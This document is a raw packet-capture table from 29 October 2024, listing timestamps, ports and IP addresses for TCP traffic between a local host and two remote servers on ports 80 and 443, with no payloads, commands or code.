Oct 29, 2024 02:46:14.029256105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029277086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029284954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029306889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029320955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029337883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029352903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029409885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029413939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029438019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029453993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029463053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029514074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029522896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029547930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029571056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029582024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029601097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029612064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029639959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029644966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029671907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029679060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029690981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029712915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029745102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029747963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029764891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029781103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029798985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029818058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029827118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029845953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029870033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029880047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029887915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029913902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029932022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029947996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.029964924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.029983044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.030002117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.030025005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064366102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064443111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064487934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064538956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064547062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064589977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064595938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064623117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064652920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064656973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064671040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064711094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064718008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064760923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064774036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064794064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064815998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064829111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064851999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064862967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064882994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064913988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064917088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064946890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064966917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.064980030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.064991951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065031052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065037966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065066099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065088987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065099001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065116882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065131903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065164089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065167904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065185070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065203905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065231085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065234900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.065252066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.065279007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.106973886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107007980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107027054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107042074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107058048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107059002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107059002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107074976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107084990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107084990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107091904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107104063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107110023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.107124090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107160091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.107160091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.145818949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.145874977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.145889044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.145927906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.145929098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.145963907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.145982981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146011114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146015882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146050930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146075964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146085978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146095991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146116972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146145105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146162033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146168947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146203995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146231890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146250963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146255970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146291018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146320105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146323919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146344900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146370888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146378994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146409035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146430969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146451950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146459103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146509886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146522999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146545887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146569967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146589041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146596909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146631956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146656036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146666050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146699905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146717072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146717072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146752119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146774054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146785975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146812916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146821022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146836042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146855116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146862030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146888971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146905899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146924019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.146934986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.146974087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181581020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181607008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181622982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181638956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181657076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181662083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181678057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181694984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181701899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181701899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181730032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181744099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181756020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181771040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181785107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181802988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181833029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181833029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181848049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181895971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181936979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181950092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181963921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181978941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.181987047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.181993008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.182008982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.182019949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.182039976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.182070971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.182167053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.182182074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.182197094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.182228088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.182228088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.223941088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.223995924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224019051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224042892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224055052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224103928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224122047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224155903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224170923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224189043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224204063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224222898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224241018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224271059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224277020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224312067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224330902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224347115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.224366903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.224402905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.262958050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263057947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263191938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263225079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263254881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263258934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263276100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263308048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263309002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263360023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263371944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263410091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263410091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263443947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263463974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263475895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263501883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263510942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263519049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263542891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263560057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263592958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263592958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263627052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263643026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263659954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263683081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263693094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263705015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263742924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263748884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263794899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263811111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263864994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263873100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263927937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263930082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.263961077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.263983965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264010906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264018059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264045000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264065027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264076948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264102936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264111996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264121056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264143944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264178991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264178991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264204979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264208078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.264226913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.264244080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299105883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299212933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299272060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299355030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299391031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299426079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299432993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299463034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299496889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299531937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299566031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299577951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299599886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299634933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299669981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299704075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299705982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299736977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299772024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299782991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299807072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299845934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299851894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299874067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299880028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299891949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299915075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:14.299933910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:14.299956083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:15.737848043 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.737921000 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.737987995 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738111019 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738148928 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.738194942 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738313913 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738341093 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.738384008 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738733053 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.738744974 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.739073038 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.739094019 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.739422083 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.739454985 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.793373108 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.793418884 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:15.793509007 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.793699026 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:15.793716908 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.305478096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:16.305560112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:16.590085983 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.590200901 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.590459108 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.590476036 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.590567112 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.590580940 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.591639042 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.591700077 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.591707945 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.591763020 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.591763973 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.593736887 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.593774080 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.594649076 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.594703913 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.595190048 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.595196009 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.595674992 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.595733881 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.595925093 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.595933914 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.596766949 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.596827984 CET	49706	443	192.168.2.5	142.250.186.132
